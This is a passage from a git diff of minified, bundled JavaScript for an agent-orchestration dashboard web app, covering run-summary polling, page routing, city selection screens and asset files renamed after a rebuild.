_c(yc(n).formulaFeed(e,{scope_kind:"city",scope_ref:e}),"formula feed",n),s=new Set,u=new Map;for(const p of o.items??[]){if(p.type!=="formula")continue;const d=xu(p.root_store_ref??null);d?.scopeKind==="rig"&&s.add(d.scopeRef);const m=p.root_bead_id??p.workflow_id??null,h=d?.scopeKind==="rig"&&Ba.test(d.scopeRef)?d:e7(p);m!==null&&h!==null&&u.set(m,{scopeKind:h.scopeKind,scopeRef:h.scopeRef,rootStoreRef:p.root_store_ref??`${h.scopeKind}:${h.scopeRef}`})}return{rigNames:[...s],scopes:u,partial:F6(o)}}catch{return{rigNames:[],scopes:new Map,partial:!0}}}async function Ph(e,n){try{const o=await _c(yc(n).listSessions(e),"run sessions",n);return{kind:"available",sessions:e6(o)}}catch{return{kind:"unavailable",sessions:[]}}}function Nh(e,n,o){const s=[...n.data.lanes,...n.data.blockedLanes],u=bm.get(e),p=Date.parse(n.fetchedAt);let d=u?.marks??new Map;(u===void 0||p>Date.parse(u.fetchedAt))&&(d=J7(d,s),bm.set(e,{marks:d,fetchedAt:n.fetchedAt}));const m=o.kind==="available",{lanes:h}=Q7({lanes:s,sessions:o.sessions,sessionsAvailable:m,marks:d}),y=h.filter(B=>B.phase==="blocked"),I=h.filter(B=>B.phase!=="blocked").filter(B=>!o2(B,p,m)),z=Gm([...I,...y]);return{...n.data,totalActive:I.length,lanes:I,blockedLanes:y,runCounts:Jm(I,I.length,y.length),census:{status:"available",data:z}}}function $6(e){const n=new Set;for(const o of e){const s=xu(o.metadata?.["gc.root_store_ref"]);if(s?.scopeKind==="rig"){n.add(s.scopeRef);continue}const u=Zm(o.metadata);u?.scopeKind==="rig"&&n.add(u.scopeRef)}return Array.from(n).sort()}function L6(e,n){const o=new Set;for(const s of e)o.add(s);for(const s of n)o.add(s);return[...o]}function _c(e,n,o){let s=null;const u=new Promise((p,d)=>{s=setTimeout(()=>{d(new Error(`${n} timed out after ${o}ms`))},o)});return Promise.race([e.finally(()=>{s!==null&&clearTimeout(s)}),u])}function D6(e){const n=new Map;for(const o of e)n.has(o.id)||n.set(o.id,o);return Array.from(n.values())}function wc(e){return e.map(M6)}function M6(e){const n={id:e.id,title:e.title,status:e.status,issue_type:e.issue_type,priority:e.priority??null,created_at:e.created_at};return e.description!==void 0&&(n.description=e.description),e.assignee!==void 0&&(n.assignee=e.assignee),Array.isArray(e.labels)&&(n.labels=e.labels),e.metadata!==void 0&&(n.metadata=e.metadata),e.ref!==void 0&&(n.ref=e.ref),e.parent!==void 0&&(n.parent=e.parent),e.from!==void 0&&(n.from=e.from),e.ephemeral!==void 0&&(n.ephemeral=e.ephemeral),e.needs!==void 0&&(n.needs=e.needs),e.dependencies!==void 0&&(n.dependencies=e.dependencies),e.updated_at!==void 0&&(n.updated_at=e.updated_at),n}function F6(e){return e.partial===!0||(e.partial_errors?.length??0)>0}function Ec(e,n){return e instanceof Error&&e.message.trim().length>0?e.message:n}const Tm=1e4,U6=[2e3,5e3,1e4];function Z6(){const e=Ua(),n=b.useRef(null),o=b.useRef(!1),s=b.useCallback(async()=>{const Y=await B6().catch(ce=>({source:"runs",status:"error",error:ce instanceof Error?ce.message:"formula runs unavailable"}));if(Y.status!=="error")return o.current=!1,Y;const ue=n.current;return ue===null?Y:(o.current=!0,{...ue,status:"stale"})},[]),u=b.useCallback(async()=>{const Y=await P6().catch(ce=>({source:"runs",status:"error",error:ce instanceof Error?ce.message:"formula runs unavailable"}));if(Y.status!=="error"){const ce=n.current,pe=ce?.data.historicalLanes??[],Te=new Set([...Y.data.lanes.map(Oe=>Oe.id),...Y.data.blockedLanes.map(Oe=>Oe.id)]),ye=pe.filter(Oe=>!Te.has(Oe.id)),Ae=pe.length-ye.length,Ke=Math.max(0,(ce?.data.totalHistorical??0)-Ae);return{...Y,data:{...Y.data,historicalLanes:ye,totalHistorical:Ke}}}const ue=n.current;return ue===null?Y:(o.current=!0,{...ue,status:"stale"})},[]),{data:p,loading:d,error:m,refresh:h,cheapRefresh:y}=mn(`runs:summary:${e??"no-city"}`,A6,{refreshFetcher:s,sseRefreshFetcher:u});p!==void 0&&p.status!=="error"&&(n.current=p);const w=p??null,I=b.useRef(null);I.current=w?.status??null;const z=b.useRef(d);z.current=d;const B=b.useRef(0),D=b.useRef(null);b.useEffect(()=>{if(w===null||w.status==="error")return;const Y=e??"no-city";D.current!==Y&&(D.current=Y,h().catch(()=>{D.current=null}))},[e,h,w]);const V=b.useRef(0);b.useEffect(()=>{if(w===null)return;if(!(w.status==="error"?!0:o.current||w.data.lanesPartial===!0&&w.data.lanes.length===0&&w.data.blockedLanes.length===0)){V.current=0;return}const ue=U6[V.current];if(ue===void 0)return;V.current+=1;const ce=setTimeout(()=>{h()},ue);return()=>clearTimeout(ce)},[w,h]);const A=b.useRef(!1),H=b.useRef(null),oe=b.useCallback(()=>{H.current!==null&&(clearTimeout(H.current),H.current=null),B.current=Date.now(),y().catch(()=>{B.current=0})},[y]),Q=b.useCallback(()=>{if(I.current===null||I.current==="fixture")return;if(z.current){A.current=!0;return}Date.now()-B.current<Tm||oe()},[oe]);b.useEffect(()=>{if(d||!A.current)return;A.current=!1;const Y=Math.max(0,Tm-(Date.now()-B.current));return H.current=setTimeout(oe,Y),()=>{H.current!==null&&(clearTimeout(H.current),H.current=null)}},[d,oe]);const K=E6([B2.bead],Q);return{source:p,loading:d,error:m,refresh:h,sseState:K}}const Ah=b.createContext(null);function q6({children:e}){const n=Z6();return $.jsx(Ah.Provider,{value:n,children:e})}function V6(){const e=b.useContext(Ah);if(e===null)throw new Error("useRunSummary must be used within a RunSummaryProvider");return e}const W6=b.lazy(()=>En(()=>import("./Agents-BS1KnSJ7.js"),__vite__mapDeps([7,8,1,9,10,2,11,3,12,6,13,14])).then(e=>({default:e.AgentsPage}))),H6=b.lazy(()=>En(()=>import("./AgentDetail-D5RvdJXI.js"),__vite__mapDeps([15,16,6,17,12,3,10,2,8,14])).then(e=>({default:e.AgentDetailPage}))),K6=b.lazy(()=>En(()=>import("./AmbientHome-BhBxFv91.js"),__vite__mapDeps([18,2])).then(e=>({default:e.AmbientHomePage}))),G6=b.lazy(()=>En(()=>import("./Beads-P9httQnR.js"),__vite__mapDeps([19,1,16,6,17,12,3,10,20,9,2,14])).then(e=>({default:e.BeadsPage}))),J6=b.lazy(()=>En(()=>import("./Mail-MdDQubNu.js"),__vite__mapDeps([21,9,1,20,13,10,2,17,3])).then(e=>({default:e.MailPage}))),Q6=b.lazy(()=>En(()=>import("./FormulaRunDetail-obe4GEA3.js"),__vite__mapDeps([22,2,16,6,17,12,3,10,23])).then(e=>({default:e.FormulaRunDetailPage}))),Y6=b.lazy(()=>En(()=>import("./Runs-BRm3CwrR.js"),__vite__mapDeps([24,1,2,11,3,23])).then(e=>({default:e.RunsPage})));function X6(){const{data:e,error:n}=mn("config",()=>oi.config()),o=e?.enabledModules??null,s=e?.defaultView??null,u=Gk(e,n),p=Zk(e),d=b.useMemo(()=>kh(Sh,o),[o]),m=b.useMemo(()=>p6(d,s),[d,s]),h=m.view?.element??null,y=m.redirectTo??null;return $.jsx(Uk,{operator:p,children:$.jsx(o6,{children:$.jsx(y6,{children:$.jsx(Hk,{readOnly:u,children:$.jsx(q6,{children:$.jsx(eb,{operator:p,children:$.jsxs(g6,{children:[n!==null&&$.jsx(nb,{message:n}),$.jsx(tb,{defaultRedirectTo:y,DefaultViewElement:h,enabledViews:d})]})})})})})})})}function eb({operator:e,children:n}){const{source:o}=V6(),s=kk(e,o);return $.jsx(c3,{contributors:s,children:n})}function tb({defaultRedirectTo:e,DefaultViewElement:n,enabledViews:o}){const{pathname:s}=wn();return $.jsx(fh,{children:$.jsx(b.Suspense,{fallback:null,children:$.jsxs(Ay,{children:[$.jsx(on,{path:"/",element:e!==null?$.jsx(Py,{to:e,replace:!0}):n!==null?$.jsx(n,{}):$.jsx(K6,{})}),$.jsx(on,{path:"/agents",element:$.jsx(W6,{})}),$.jsx(on,{path:"/agents/:slug",element:$.jsx(H6,{})}),$.jsx(on,{path:"/beads",element:$.jsx(G6,{})}),$.jsx(on,{path:"/runs",element:$.jsx(Y6,{})}),$.jsx(on,{path:"/runs/:runId",element:$.jsx(Q6,{})}),$.jsx(on,{path:"/mail",element:$.jsx(J6,{})}),o.map(u=>{const p=u.element;return $.jsx(on,{path:u.path,element:$.jsx(p,{})},u.id)}),$.jsx(on,{path:"*",element:$.jsx(rb,{})})]})})},s)}function nb({message:e}){return $.jsxs("section",{role:"alert",className:"mb-8 border border-warn/40 rounded-sm px-4 py-3 text-body text-fg-muted",children:[$.jsx("span",{className:"text-warn",children:"config unavailable:"})," ",e," · some controls may be disabled until it loads."]})}function rb(){return $.jsxs("section",{"aria-labelledby":"not-found-title",className:"space-y-3",children:[$.jsx("h1",{id:"not-found-title",className:"text-5xl font-semibold tracking-tight text-fg",children:"Page not found"}),$.jsx("p",{className:"text-title text-fg-muted",children:"No dashboard route matches this path."})]})}const ob={default:"border border-rule text-fg-muted hover:text-fg hover:bg-surface-tint",accent:"border border-accent text-accent hover:bg-accent hover:text-surface",quiet:"border border-transparent text-fg-muted hover:text-fg"},ib={sm:"px-2.5 py-1 text-label uppercase tracking-wider",md:"px-3.5 py-1.5 text-body"};function ab({tone:e="default",size:n="sm",className:o="",children:s,...u}){return $.jsx("button",{...u,className:`inline-flex items-center gap-1.5 rounded-sm transition-colors duration-150 ease-out-quart focus-mark disabled:opacity-40 disabled:cursor-not-allowed ${ob[e]} ${ib[n]} ${o}`,children:s})}const sb="https://docs.gascity.com/getting-started/quickstart",lb=/^\/city\/([^/]+)(?:\/|$)/;function ub(e){const n=lb.exec(e);if(n===null)return null;const o=n[1];if(o===void 0)return null;let s;try{s=decodeURIComponent(o)}catch{return null}return Ym.test(s)?{cityName:s,basename:`/city/${o}`}:null}function cb(){const e=b.useMemo(()=>ub(window.location.pathname),[]),[n,o]=b.useState({phase:"loading"}),[s,u]=b.useState(0),p=b.useCallback(()=>{o({phase:"loading"}),u(d=>d+1)},[]);return b.useEffect(()=>{let d=!1;return o({phase:"loading"}),it().listCities().then(m=>{if(d)return;const h=m.items??[];if(e!==null){const w=h.some(I=>I.name===e.cityName);o(w?{phase:"mount"}:{phase:"unknown-city",cities:h});return}const y=h[0];if(y===void 0){o({phase:"empty"});return}window.location.replace(`/city/${encodeURIComponent(y.name)}/`)}).catch(m=>{if(!d){if(e!==null){o({phase:"mount"});return}o({phase:"error",message:m instanceof Error?m.message:"failed to load cities"})}}),()=>{d=!0}},[e,s]),e!==null&&n.phase==="mount"?(L2(e.cityName),$.jsx(Zy,{basename:e.basename,future:{v7_relativeSplatPath:!0,v7_startTransition:!0},children:$.jsx(X6,{})})):n.phase==="unknown-city"&&e!==null?$.jsx(db,{cityName:e.cityName,cities:n.cities}):n.phase==="empty"?$.jsx(pb,{}):n.phase==="error"?$.jsx(fb,{message:n.message,onRetry:p}):$.jsx(Ja,{children:$.jsx("div",{className:"text-label uppercase tracking-wider text-fg-muted",children:"Resolving city…"})})}function Ja({children:e}){return $.jsx("div",{className:"min-h-screen bg-surface text-fg antialiased flex items-center justify-center px-6",children:$.jsx("div",{className:"max-w-prose w-full space-y-4",children:e})})}function db({cityName:e,cities:n}){return $.jsx(Ja,{children:$.jsxs("section",{role:"alert",className:"space-y-4",children:[$.jsxs("h1",{className:"text-display font-semibold text-fg",children:["City “",e,"” is not registered on this supervisor."]}),n.length>0?$.jsxs("div",{className:"space-y-2",children:[$.jsx("p",{className:"text-body text-fg-muted",children:"Available cities:"}),$.jsx("ul",{className:"space-y-1",children:n.map(o=>$.jsxs("li",{children:[$.jsx("a",{href:`/city/${encodeURIComponent(o.name)}/`,className:"text-body text-accent hover:underline focus-mark",children:o.name}),o.running?null:$.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted ml-2",children:"· stopped"})]},o.name))})]}):$.jsx(Oh,{})]})})}function pb(){return $.jsx(Ja,{children:$.jsxs("section",{className:"space-y-4",children:[$.jsx("h1",{className:"text-display font-semibold text-fg",children:"No cities are registered on this supervisor."}),$.jsx(Oh,{})]})})}function Oh(){return $.jsxs("div",{className:"space-y-3",children:[$.jsx("p",{className:"text-body text-fg-muted",children:"Create one from a terminal:"}),$.jsx("pre",{className:"text-body bg-surface-tint rounded-sm px-3 py-2 overflow-x-auto",children:$.jsx("code",{children:"gc init ~/my-city"})}),$.jsxs("p",{className:"text-body text-fg-muted",children:[$.jsx("code",{children:"gc init"})," bootstraps the city directory, registers it with the supervisor, and starts the orchestrator. Then refresh this page. See the"," ",$.jsx("a",{href:sb,target:"_blank",rel:"noreferrer",className:"text-accent hover:underline focus-mark",children:"getting-started guide"})," ","for the full walkthrough."]})]})}function fb({message:e,onRetry:n}){return $.jsx(Ja,{children:$.jsxs("section",{role:"alert",className:"space-y-4",children:[$.jsx("h1",{className:"text-display font-semibold text-fg",children:"Could not load cities."}),$.jsx("p",{className:"text-body text-fg-muted",children:e}),$.jsx(ab,{onClick:n,children:"Retry"})]})})}const jh=document.getElementById("root");if(!jh)throw new Error("missing #root");Z0.createRoot(jh).render($.jsx(Rm.StrictMode,{children:$.jsx(Mk,{children:$.jsx(fh,{children:$.jsx(cb,{})})})}));export{hb as $,pc as A,ab as B,t3 as C,mh as D,vh as E,G7 as F,B2 as G,jb as H,Ua as I,it as J,Mt as K,Wy as L,vb as M,Yk as N,Nb as O,dc as P,xS as Q,Pb as R,Wk as S,zb as T,O2 as U,A2 as V,bb as W,kb as X,ro as Y,_b as Z,qm as _,d3 as a,gb as a0,yb as a1,f7 as a2,y7 as a3,O7 as a4,U7 as a5,Xy as a6,cc as a7,k6 as a8,e6 as a9,vn as aa,oi as ab,Ql as ac,Ba as ad,Sb as ae,Th as af,Rb as ag,Qy as ah,Ab as ai,n6 as aj,_m as ak,wb as al,m7 as am,V6 as an,US as ao,ZS as ap,mn as b,yS as c,dS as d,l7 as e,E6 as f,Kk as g,Eb as h,xh as i,$ as j,xb as k,Xk as l,DS as m,Cb as n,Tb as o,Vr as p,mb as q,b as r,Bb as s,wu as t,Ob as u,i6 as v,wh as w,Kr as x,Ib as y,Gt as z};
diff --git a/internal/api/dashboardspa/dist/assets/projectOf-CTBm9kvF.js b/internal/api/dashboardspa/dist/assets/projectOf-CJPpTC86.js
similarity index 92%
rename from internal/api/dashboardspa/dist/assets/projectOf-CTBm9kvF.js
rename to internal/api/dashboardspa/dist/assets/projectOf-CJPpTC86.js
index b0244b699d..06a829c560 100644
--- a/internal/api/dashboardspa/dist/assets/projectOf-CTBm9kvF.js
+++ b/internal/api/dashboardspa/dist/assets/projectOf-CJPpTC86.js
@@ -1 +1 @@
-import{j as c,I as R}from"./index-fZITW1u7.js";function k({value:e,onChange:t,placeholder:n="Search",matchCount:r,totalCount:i,ariaLabel:a="Search list"}){const d=e.length>0&&typeof r=="number"&&typeof i=="number";return c.jsxs("div",{className:"flex items-baseline gap-3 border-b border-rule pb-1",children:[c.jsx("input",{type:"search",value:e,onChange:m=>t(m.target.value),placeholder:n,"aria-label":a,className:"flex-1 bg-transparent border-0 text-body text-fg placeholder:text-fg-faint focus:outline-none focus:ring-0 px-0 py-0.5"}),d&&c.jsxs("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:[r," / ",i]})]})}const b=/^(.+?)-[a-z0-9]+(?:\.\d+)?$/i;function C(e){return b.exec(e.id)?.[1]??e.id}const o="Orchestration";function u(){return R()??o}const s="(no rig)",l="Maintenance",E=new Set(["mayor","control-dispatcher","oversight-rig.chief-of-staff"]);function g(e){return e.rig&&e.rig.length>0?!1:!!e.template&&E.has(e.template)}const p=/\/control-dispatcher$/;function O(e){return!e.rig||e.rig.length===0?!1:p.test(e.alias??"")}const _=/(?:worker|polecat)(?:-\d+)?$/,f=/(?:\.project-lead|chief-of-staff)$/;function j(e){if(e.state!=="active"&&e.state!=="running"||g(e)||O(e))return!1;const t=e.template??"",n=e.alias??"";if(f.test(t)||f.test(n))return!1;const r=e.session_name;return[t,n,r].filter(a=>a.length>0).map(a=>I(a)).some(a=>_.test(a))}function h(e){return e.toLowerCase().replace(/_/g,"-")}function L(e){if(g(e))return{key:o,label:u()};const t=e.rig??e.pool??e.template;if(!t)return{key:s,label:s};const n=t.split(/[\\/]/).filter(Boolean),r=n[n.length-1]??t;return{key:h(r),label:r}}function w(e){return e.rig&&e.rig.length>0?e.rig:s}const S=new Set(["mayor","control-dispatcher","oversight-rig.chief-of-staff"]),N=new Set(["dog"]);function y(e){return e.rig&&e.rig.length>0?!1:S.has(e.name)}function v(e){return!e.rig||e.rig.length===0?!1:p.test(e.name)}function A(e){if(y(e))return{key:o,label:u()};const t=e.rig&&e.rig.length>0?e.rig:void 0;if(!t&&e.pool&&N.has(e.pool))return{key:l,label:l};const n=t??e.pool;if(!n)return{key:s,label:s};const r=n.split(/[\\/]/).filter(Boolean),i=T(r[r.length-1]??n);return{key:h(i),label:i}}function T(e){return e.endsWith("-main")?e.slice(0,-5):e}const x=/-(?:gc|td|th|[a-z]{4})-[a-z0-9]*[0-9][a-z0-9]*$/;function I(e){const t=e.trim(),n=t.split(/[\\/]/).filter(Boolean),r=n[n.length-1]??t,i=r.replace(x,"");return i.length>0?i:r}function X(e){const{key:t}=A(e);return t===o||t===l||t===s}export{k as L,T as a,X as b,I as c,A as d,v as e,C as f,j as i,w as m,L as s};
+import{j as c,H as R}from"./index-BFDP6Xwd.js";function k({value:e,onChange:t,placeholder:n="Search",matchCount:r,totalCount:i,ariaLabel:a="Search list"}){const d=e.length>0&&typeof r=="number"&&typeof i=="number";return c.jsxs("div",{className:"flex items-baseline gap-3 border-b border-rule pb-1",children:[c.jsx("input",{type:"search",value:e,onChange:m=>t(m.target.value),placeholder:n,"aria-label":a,className:"flex-1 bg-transparent border-0 text-body text-fg placeholder:text-fg-faint focus:outline-none focus:ring-0 px-0 py-0.5"}),d&&c.jsxs("span",{className:"text-label uppercase tracking-wider text-fg-faint tnum",children:[r," / ",i]})]})}const b=/^(.+?)-[a-z0-9]+(?:\.\d+)?$/i;function C(e){return b.exec(e.id)?.[1]??e.id}const o="Orchestration";function u(){return R()??o}const s="(no rig)",l="Maintenance",E=new Set(["mayor","control-dispatcher","oversight-rig.chief-of-staff"]);function g(e){return e.rig&&e.rig.length>0?!1:!!e.template&&E.has(e.template)}const p=/\/control-dispatcher$/;function O(e){return!e.rig||e.rig.length===0?!1:p.test(e.alias??"")}const _=/(?:worker|polecat)(?:-\d+)?$/,f=/(?:\.project-lead|chief-of-staff)$/;function j(e){if(e.state!=="active"&&e.state!=="running"||g(e)||O(e))return!1;const t=e.template??"",n=e.alias??"";if(f.test(t)||f.test(n))return!1;const r=e.session_name;return[t,n,r].filter(a=>a.length>0).map(a=>I(a)).some(a=>_.test(a))}function h(e){return e.toLowerCase().replace(/_/g,"-")}function L(e){if(g(e))return{key:o,label:u()};const t=e.rig??e.pool??e.template;if(!t)return{key:s,label:s};const n=t.split(/[\\/]/).filter(Boolean),r=n[n.length-1]??t;return{key:h(r),label:r}}function w(e){return e.rig&&e.rig.length>0?e.rig:s}const S=new Set(["mayor","control-dispatcher","oversight-rig.chief-of-staff"]),N=new Set(["dog"]);function y(e){return e.rig&&e.rig.length>0?!1:S.has(e.name)}function v(e){return!e.rig||e.rig.length===0?!1:p.test(e.name)}function A(e){if(y(e))return{key:o,label:u()};const t=e.rig&&e.rig.length>0?e.rig:void 0;if(!t&&e.pool&&N.has(e.pool))return{key:l,label:l};const n=t??e.pool;if(!n)return{key:s,label:s};const r=n.split(/[\\/]/).filter(Boolean),i=T(r[r.length-1]??n);return{key:h(i),label:i}}function T(e){return e.endsWith("-main")?e.slice(0,-5):e}const x=/-(?:gc|td|th|[a-z]{4})-[a-z0-9]*[0-9][a-z0-9]*$/;function I(e){const t=e.trim(),n=t.split(/[\\/]/).filter(Boolean),r=n[n.length-1]??t,i=r.replace(x,"");return i.length>0?i:r}function H(e){const{key:t}=A(e);return t===o||t===l||t===s}export{k as L,T as a,H as b,I as c,A as d,v as e,C as f,j as i,w as m,L as s};
diff --git a/internal/api/dashboardspa/dist/assets/useListFilters-BD7uNn8W.js b/internal/api/dashboardspa/dist/assets/useListFilters-CE9qAvrH.js
similarity index 98%
rename from internal/api/dashboardspa/dist/assets/useListFilters-BD7uNn8W.js
rename to internal/api/dashboardspa/dist/assets/useListFilters-CE9qAvrH.js
index c917d70b45..2c116e5876 100644
--- a/internal/api/dashboardspa/dist/assets/useListFilters-BD7uNn8W.js
+++ b/internal/api/dashboardspa/dist/assets/useListFilters-CE9qAvrH.js
@@ -1 +1 @@
-import{j as C,r as g,D as Y,E as D,x as tt,p as et}from"./index-fZITW1u7.js";function gt({chips:e,activeIds:n,onToggle:a,legend:p}){return e.length===0?null:C.jsxs("div",{className:"flex items-baseline gap-4 flex-wrap",children:[p&&C.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:p}),e.map(i=>{const d=n.has(i.id);return C.jsx("button",{type:"button",onClick:()=>a(i.id),"aria-pressed":d,className:`text-label uppercase tracking-wider transition-colors duration-150 ease-out-quart focus-mark rounded-sm ${d?"text-fg font-semibold underline decoration-fg underline-offset-4":"text-fg-muted hover:text-fg"}`,children:i.label},i.id)})]})}const st="gcd:listFilters:collapsed:",rt="gcd:listFilters:expanded:",X="gcd:listFilters:sortMode:",m="useListFilters";function B(e,n){return(n?rt:st)+e}function R(e,n){const a=B(e,n),p=Y("localStorage",a,m);if(p.status!=="found")return new Set;try{const i=JSON.parse(p.value);if(Array.isArray(i))return new Set(i.filter(d=>typeof d=="string"))}catch(i){at(a,i)}return new Set}function nt(e,n,a){D("localStorage",B(e,n),JSON.stringify(Array.from(a)),m)}function T(e,n){const a=Y("localStorage",X+e,m);return a.status==="found"&&(a.value==="alpha"||a.value==="activity")?a.value:n}function ot(e,n){D("localStorage",X+e,n,m)}function at(e,n){tt({component:m,operation:"localStorage.parse",message:`${e}: ${et(n)}`})}const ct=[],it=new Set,lt=[];function pt({viewKey:e,rows:n,projectOf:a,searchOf:p,chips:i,initialActiveChipIds:d=lt,defaultCollapsed:f=!1,activityOf:x,defaultSortMode:M="alpha",pinnedProjects:k=ct,nonCollapsibleProjects:I=it}){const $=d.join(","),[N,L]=g.useState(""),[P,_]=g.useState(()=>new Set(d)),[w,A]=g.useState(()=>R(e,f)),[F,v]=g.useState(()=>T(e,M));g.useEffect(()=>{A(R(e,f)),v(T(e,M)),L(""),_(new Set(d))},[e,f,M,$]);const H=g.useCallback(r=>{_(S=>{const l=new Set(S);return l.has(r)?l.delete(r):l.add(r),l})},[]),J=g.useCallback(r=>{A(S=>{const l=new Set(S);return l.has(r)?l.delete(r):l.add(r),nt(e,f,l),l})},[e,f]),U=g.useCallback(r=>w.has(r)?!f:f,[w,f]),q=g.useCallback(r=>{v(r),ot(e,r)},[e]),y=g.useMemo(()=>{const r=N.trim().toLowerCase(),S=i.filter(t=>P.has(t.id)),l=t=>{if(r.length===0)return!0;for(const s of p(t))if(s&&s.toLowerCase().includes(r))return!0;return!1},Z=t=>{if(S.length===0)return!0;for(const s of S)if(s.match(t))return!0;return!1},b=new Map;for(const t of n){if(!l(t)||!Z(t))continue;const s=a(t),o=typeof s=="string"?s:s.key,c=typeof s=="string"?s:s.label,u=b.get(o);u?(u.rows.push(t),u.labelCounts.set(c,(u.labelCounts.get(c)??0)+1)):b.set(o,{rows:[t],labelCounts:new Map([[c,1]])})}const z=t=>{let s="",o=-1,c=!1;for(const[u,h]of t){const j=/[A-Z]/.test(u);(h>o||h===o&&j&&!c)&&(s=u,o=h,c=j)}return s},G=Array.from(b.keys()),O=k.filter(t=>b.has(t)),Q=new Set(O),E=G.filter(t=>!Q.has(t));if(F==="activity"&&x){const t=new Map;for(const s of E){const o=b.get(s);let c=-1/0;if(o)for(const u of o.rows){const h=x(u);typeof h=="number"&&Number.isFinite(h)&&h>c&&(c=h)}t.set(s,c)}E.sort((s,o)=>{const c=t.get(s)??-1/0,u=t.get(o)??-1/0;return c!==u?u-c:s.localeCompare(o)})}else E.sort();const V=[...O,...E],W=t=>I.has(t)?!1:w.has(t)?!f:f;return V.map(t=>{const s=b.get(t),o=s?.rows??[];return{project:s?z(s.labelCounts):t,projectKey:t,rows:o,totalInProject:o.length,collapsed:W(t),collapsible:!I.has(t)}})},[n,N,P,i,a,p,w,f,F,x,k,I]),K=g.useMemo(()=>y.reduce((r,S)=>r+S.totalInProject,0),[y]);return{search:N,setSearch:L,activeChipIds:P,toggleChip:H,isCollapsed:U,toggleProject:J,sortMode:F,setSortMode:q,groups:y,totalMatches:K}}export{gt as F,pt as u};
+import{j as C,r as g,D as Y,E as D,x as tt,p as et}from"./index-BFDP6Xwd.js";function gt({chips:e,activeIds:n,onToggle:a,legend:p}){return e.length===0?null:C.jsxs("div",{className:"flex items-baseline gap-4 flex-wrap",children:[p&&C.jsx("span",{className:"text-label uppercase tracking-wider text-fg-muted",children:p}),e.map(i=>{const d=n.has(i.id);return C.jsx("button",{type:"button",onClick:()=>a(i.id),"aria-pressed":d,className:`text-label uppercase tracking-wider transition-colors duration-150 ease-out-quart focus-mark rounded-sm ${d?"text-fg font-semibold underline decoration-fg underline-offset-4":"text-fg-muted hover:text-fg"}`,children:i.label},i.id)})]})}const st="gcd:listFilters:collapsed:",rt="gcd:listFilters:expanded:",X="gcd:listFilters:sortMode:",m="useListFilters";function B(e,n){return(n?rt:st)+e}function R(e,n){const a=B(e,n),p=Y("localStorage",a,m);if(p.status!=="found")return new Set;try{const i=JSON.parse(p.value);if(Array.isArray(i))return new Set(i.filter(d=>typeof d=="string"))}catch(i){at(a,i)}return new Set}function nt(e,n,a){D("localStorage",B(e,n),JSON.stringify(Array.from(a)),m)}function T(e,n){const a=Y("localStorage",X+e,m);return a.status==="found"&&(a.value==="alpha"||a.value==="activity")?a.value:n}function ot(e,n){D("localStorage",X+e,n,m)}function at(e,n){tt({component:m,operation:"localStorage.parse",message:`${e}: ${et(n)}`})}const ct=[],it=new Set,lt=[];function pt({viewKey:e,rows:n,projectOf:a,searchOf:p,chips:i,initialActiveChipIds:d=lt,defaultCollapsed:f=!1,activityOf:x,defaultSortMode:M="alpha",pinnedProjects:k=ct,nonCollapsibleProjects:I=it}){const $=d.join(","),[N,L]=g.useState(""),[P,_]=g.useState(()=>new Set(d)),[w,A]=g.useState(()=>R(e,f)),[F,v]=g.useState(()=>T(e,M));g.useEffect(()=>{A(R(e,f)),v(T(e,M)),L(""),_(new Set(d))},[e,f,M,$]);const H=g.useCallback(r=>{_(S=>{const l=new Set(S);return l.has(r)?l.delete(r):l.add(r),l})},[]),J=g.useCallback(r=>{A(S=>{const l=new Set(S);return l.has(r)?l.delete(r):l.add(r),nt(e,f,l),l})},[e,f]),U=g.useCallback(r=>w.has(r)?!f:f,[w,f]),q=g.useCallback(r=>{v(r),ot(e,r)},[e]),y=g.useMemo(()=>{const r=N.trim().toLowerCase(),S=i.filter(t=>P.has(t.id)),l=t=>{if(r.length===0)return!0;for(const s of p(t))if(s&&s.toLowerCase().includes(r))return!0;return!1},Z=t=>{if(S.length===0)return!0;for(const s of S)if(s.match(t))return!0;return!1},b=new Map;for(const t of n){if(!l(t)||!Z(t))continue;const s=a(t),o=typeof s=="string"?s:s.key,c=typeof s=="string"?s:s.label,u=b.get(o);u?(u.rows.push(t),u.labelCounts.set(c,(u.labelCounts.get(c)??0)+1)):b.set(o,{rows:[t],labelCounts:new Map([[c,1]])})}const z=t=>{let s="",o=-1,c=!1;for(const[u,h]of t){const j=/[A-Z]/.test(u);(h>o||h===o&&j&&!c)&&(s=u,o=h,c=j)}return s},G=Array.from(b.keys()),O=k.filter(t=>b.has(t)),Q=new Set(O),E=G.filter(t=>!Q.has(t));if(F==="activity"&&x){const t=new Map;for(const s of E){const o=b.get(s);let c=-1/0;if(o)for(const u of o.rows){const h=x(u);typeof h=="number"&&Number.isFinite(h)&&h>c&&(c=h)}t.set(s,c)}E.sort((s,o)=>{const c=t.get(s)??-1/0,u=t.get(o)??-1/0;return c!==u?u-c:s.localeCompare(o)})}else E.sort();const V=[...O,...E],W=t=>I.has(t)?!1:w.has(t)?!f:f;return V.map(t=>{const s=b.get(t),o=s?.rows??[];return{project:s?z(s.labelCounts):t,projectKey:t,rows:o,totalInProject:o.length,collapsed:W(t),collapsible:!I.has(t)}})},[n,N,P,i,a,p,w,f,F,x,k,I]),K=g.useMemo(()=>y.reduce((r,S)=>r+S.totalInProject,0),[y]);return{search:N,setSearch:L,activeChipIds:P,toggleChip:H,isCollapsed:U,toggleProject:J,sortMode:F,setSortMode:q,groups:y,totalMatches:K}}export{gt as F,pt as u};
diff --git a/internal/api/dashboardspa/dist/assets/useVisibleRefresh-TxiorL5p.js b/internal/api/dashboardspa/dist/assets/useVisibleRefresh-Bxd6CPUo.js
similarity index 92%
rename from internal/api/dashboardspa/dist/assets/useVisibleRefresh-TxiorL5p.js
rename to internal/api/dashboardspa/dist/assets/useVisibleRefresh-Bxd6CPUo.js
index 5e80ce39b4..be003a7229 100644
--- a/internal/api/dashboardspa/dist/assets/useVisibleRefresh-TxiorL5p.js
+++ b/internal/api/dashboardspa/dist/assets/useVisibleRefresh-Bxd6CPUo.js
@@ -1 +1 @@
